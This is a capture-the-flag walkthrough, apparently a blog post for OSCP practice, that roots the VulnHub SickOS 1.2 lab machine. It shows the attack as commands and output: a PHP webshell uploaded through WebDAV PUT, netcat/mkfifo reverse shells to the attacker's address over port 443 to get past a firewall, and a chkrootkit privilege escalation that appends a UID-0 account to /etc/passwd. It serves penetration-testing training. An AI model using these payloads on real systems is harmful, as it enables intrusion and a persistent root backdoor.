SickOS 1.2 Walkthrough (OSCP Prep)

Introduction
Today we’ll be walking through the SickOS 1.2 virtual machine from VulnHub. This is an Ubuntu box that provides a very small attack surface and implements security measures that may leave you scratching your head at times. Overall this is a fun machine that will force you to think outside the box.
Host Discovery
First, we’ll locate our victim machine on the network with Arp-scan.
(ori0n@apophis) --> [ ~/sickos12 ]
==> sudo arp-scan -l
[sudo] password for ori0n:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:fb:0b, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1 00:50:56:c0:00:08 VMware, Inc.
10.0.10.2 00:50:56:fb:3b:27 VMware, Inc.
10.0.10.126 00:0c:29:7e:0e:a9 VMware, Inc.
10.0.10.199 00:50:56:e6:c4:aa VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.977 seconds (129.49 hosts/sec). 4 responded
Add an entry to the /etc/hosts
file so we won’t have to type the IP over and over again:
10.0.10.126 sickos
Scanning
We’ll run an initial port scan with RustScan to see what ports are open and listening on the target box.
(ori0n@apophis) --> [ ~/sickos12 ]
==> rustscan -a sickos -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.126:22
Open 10.0.10.126:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.126
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 22:17 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 22:17
Scanning 10.0.10.126 [2 ports]
Completed Ping Scan at 22:17, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 22:17
Scanning sickos (10.0.10.126) [2 ports]
Discovered open port 80/tcp on 10.0.10.126
Discovered open port 22/tcp on 10.0.10.126
Completed Connect Scan at 22:17, 0.00s elapsed (2 total ports)
Initiating Service scan at 22:17
Scanning 2 services on sickos (10.0.10.126)
Completed Service scan at 22:17, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.126.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Nmap scan report for sickos (10.0.10.126)
Host is up, received syn-ack (0.00038s latency).
Scanned at 2021-08-12 22:17:14 CDT for 6s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack lighttpd 1.4.28
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds
The only service of real interest for the moment is the lighttpd server on port 80. Let’s check that out first.
Enumerating Port 80
Launch a browser and navigate to the SickOS machine.
Not much here. We take a look at the source and find nothing but a bunch of whitespace and one final line:
<!-- NOTHING IN HERE ///\\\ -->>>>
We’ll run a standard file/directory brute-force looking for any hidden goodies.
(ori0n@apophis) --> [ ~/sickos12 ]
==> gobuster dir -u http://sickos/ -w /wordlists/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sickos/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /wordlists/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/12 23:17:20 Starting gobuster in directory enumeration mode
===============================================================
/test (Status: 301) [Size: 0] [--> http://sickos/test/]
/~sys~ (Status: 403) [Size: 345]
===============================================================
2021/08/12 23:17:25 Finished
===============================================================
We only find a directory: test
. Let’s check it out:
Nothing in here. Let’s see what Nikto can find…
(ori0n@apophis) --> [ ~/sickos12 ]
==> nikto -h http://sickos | tee scans/nikto-80.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.10.126
+ Target Hostname: sickos
+ Target Port: 80
+ Start Time: 2021-08-13 00:01:53 (GMT-5)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26026 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2021-08-13 00:02:57 (GMT-5) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Still nothing. There isn’t a lot to work with here. Let’s look for any useful Nmap scripts.
(ori0n@apophis) --> [ ~/sickos12 ]
==> find /usr/share/nmap/scripts | grep -i http
...
/usr/share/nmap/scripts/http-methods.nse
In a sea of text, we find the http-methods
script. Let’s see what this gives us.
(ori0n@apophis) --> [ ~/sickos12 ]
==> nmap -p80 sickos --script "http-methods"
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-13 00:11 CDT
Nmap scan report for sickos (10.0.10.126)
Host is up (0.00046s latency).
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Nmap done: 1 IP address (1 host up) scanned in 14.29 seconds
The OPTIONS method is available. Let’s take out trusty Curl.
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl -I -X OPTIONS http://sickos/
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Aug 2021 10:13:44 GMT
Server: lighttpd/1.4.28
Nothing here. What about that mysterious test
directory?
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl -I -X OPTIONS http://sickos/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Fri, 13 Aug 2021 10:14:33 GMT
Server: lighttpd/1.4.28
The HTTP PUT method is available. Can we upload files?
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl -I -X PUT http://sickos/test/testfile
HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Aug 2021 10:17:05 GMT
Server: lighttpd/1.4.28
Getting a Shell
Getting a shell should be trivial with a file upload vector. We’ll create a basic PHP webshell and upload it with Curl using the -T
option.
(ori0n@apophis) --> [ ~/sickos12 ]
==> echo '<?php passthru($_GET["cmd"]) ?>' > shell.php
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl -I http://sickos/test/shell.php -T shell.php
HTTP/1.1 417 Expectation Failed
Content-Type: text/html
Content-Length: 363
Connection: close
Date: Fri, 13 Aug 2021 10:23:52 GMT
Server: lighttpd/1.4.28
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
Now we get an annoying “Expectation Failed” error. A little Googling explains we need to clear the Expect
HTTP header. Let’s try this again.
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl -I http://sickos/test/shell.php -T shell.php -H 'Expect:'
HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Aug 2021 10:25:30 GMT
Server: lighttpd/1.4.28
Looks good! Now we’ll test the shell to make sure things are working as expected.
(ori0n@apophis) --> [ ~/sickos12 ]
==> curl "http://sickos/test/shell.php?cmd=id;ls+-l"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 4
-rw-r--r-- 1 www-data www-data 32 Aug 13 03:28 shell.php
-rw-r--r-- 1 www-data www-data 0 Aug 13 03:17 testfile
Bingo! Next, we’ll try to upgrade to an interactive shell. We’ll use SpyShell to make our lives easier in the meantime.
(ori0n@apophis) --> [ ~/sickos12 ]
==> spyshell -u http://sickos/test/shell.php --pretty-prompt
www-data@ubuntu$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu$ pwd
/var/www/test
Getting Interactive
We have remote shell access to the box, but webshells are clunky and lacking. We want to upgrade to a fully interactive shell. We’ll try the standard methods.
www-data@ubuntu$ bash -i &>/dev/10.0.10.10/4444 0>&1
bash: no job control in this shell
www-data@ubuntu:/var/www/test$ exit
www-data@ubuntu$ rm /tmp/f;mkfifo /tmp/f;bash < /tmp/f | nc 10.0.10.10 4444 > /tmp/f
^C
We can’t seem to get anything to come through. Let’s try pinging our attacker.
www-data@ubuntu$ ping -c1 10.0.10.10
ping: sendmsg: Operation not permitted
PING 10.0.10.10 (10.0.10.10) 56(84) bytes of data.
--- 10.0.10.10 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
We can’t ping? There must be a firewall in place.
www-data@ubuntu$ service ufw status
ufw start/running
Aha! UFW is running on the system. No doubt this is why we can’t get an outbound connection. But surely there are a few essential ports left open. Port 80 seemed blocked, but what about 443?
Set up our listener on the attacker:
(ori0n@apophis) --> [ ~/sickos12 ]
==> sudo ncat -nlkvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Now send the shell:
(ori0n@apophis) --> [ ~/sickos12 ]
==> spyshell -u http://sickos/test/shell.php --pretty-prompt
www-data@ubuntu$ rm /tmp/f;mkfifo /tmp/f;bash < /tmp/f | nc 10.0.10.10 443 > /tmp/f
And we get a shell!
Privilege Escalation
The first order of business will be upgrading our shell slightly with some Python magic, then it’s on to enumeration of the distro and kernel.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$ cat /proc/version; echo ----; cat /etc/*-release
cat /proc/version; echo ----; cat /etc/*-release
Linux version 3.11.0-15-generic (buildd@akateko) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014
----
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.4 LTS"
NAME="Ubuntu"
VERSION="12.04.4 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
VERSION_ID="12.04"
Ubuntu 12.04.4 running kernel 3.11 32-bit architecture. Searching for relevant exploits was a dead end.
The /root
directory was unreadable, and the /home
directory contained only one user directory, john
, with nothing of interest.
Let’s check out the cron jobs.
www-data@ubuntu:/var/www/test$ cd /etc
cd /etc
www-data@ubuntu:/etc$ cat crontab
cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@ubuntu:/etc$ ls -la cron.daily
ls -la cron.daily
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 Aug 12 14:58 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
The chkrootkit
and lighttpd
jobs look interesting. We’ll search for known exploits.
(ori0n@apophis) --> [ ~/sickos12 ]
==> searchsploit chkrootkit
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit) | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation | linux/local/33899.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Well, well, well. What do we have here? Let’s read about the exploit with searchsploit -x linux/local/33899
. Near the end of the file, we see the exploitation technique:
The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.
Steps to reproduce:
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.
So if we create a bash script and place it in a file called update
in the /tmp
directory and set its executable permission, it will be run as root.
So what can we do with this? Many things. But how about we create ourselves an account with built-in root privileges?
To do this, we’ll append a line to /etc/passwd
with a UID and GID of 0, effectively making our user account a second root
account. First, we’ll need to generate a password hash. I’ll use the password pwn
:
(ori0n@apophis) --> [ ~/sickos12 ]
==> openssl passwd pwn
l1kaPwL6GGupI
Now we’ll create the update
script and make it executable.
VERY IMPORTANT: Make sure to append to /etc/passwd
with the >>
operation. If you use the >
operator, you WILL overwrite the file completely and nuke the system!
www-data@ubuntu:/var/www/test$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ echo 'echo ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd' > update
<0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd' > update
www-data@ubuntu:/tmp$ cat update
cat update
echo ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd
www-data@ubuntu:/tmp$ chmod 755 update
chmod 755 update
www-data@ubuntu:/tmp$ tail -n2 /etc/passwd
tail -n2 /etc/passwd
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash
It looks like our user was added. Let’s try to SSH in.
(ori0n@apophis) --> [ ~/sickos12 ]
==> ssh ori0n@sickos
.oooooo..o o8o oooo .oooooo. .o .oooo.
d8P' `Y8 `"' `888 d8P' `Y8b o888 .dP""Y88b
Y88bo. oooo .ooooo. 888 oooo 888 888 .oooo.o 888 ]8P'
`"Y8888o. `888 d88' `"Y8 888 .8P' 888 888 d88( "8 888 .d8P'
`"Y88b 888 888 888888. 888 888 `"Y88b. 888 .dP'
oo .d8P 888 888 .o8 888 `88b. `88b d88' o. )88b 888 .o. .oP .o
8""88888P' o888o `Y8bod8P' o888o o888o `Y8bood8P' 8""888P' o888o Y8P 8888888888
By @D4rk36
ori0n@sickos's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)
* Documentation: https://help.ubuntu.com/
New release '14.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Apr 26 03:57:15 2016 from 192.168.0.100
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
Rooted! Let’s grab the flag.
root@ubuntu:~# cd /root
root@ubuntu:/root# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule
root@ubuntu:/root# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
Wrapping Up
Congratulations on rooting SickOS 1.2! I found this machine to be more challenging than the previous machines in the OSCP Prep series so far. The initial foothold required a lot of probing, while the firewall added a lot of frustration, but ultimately made for a more satisfying challenge.
Leave a Reply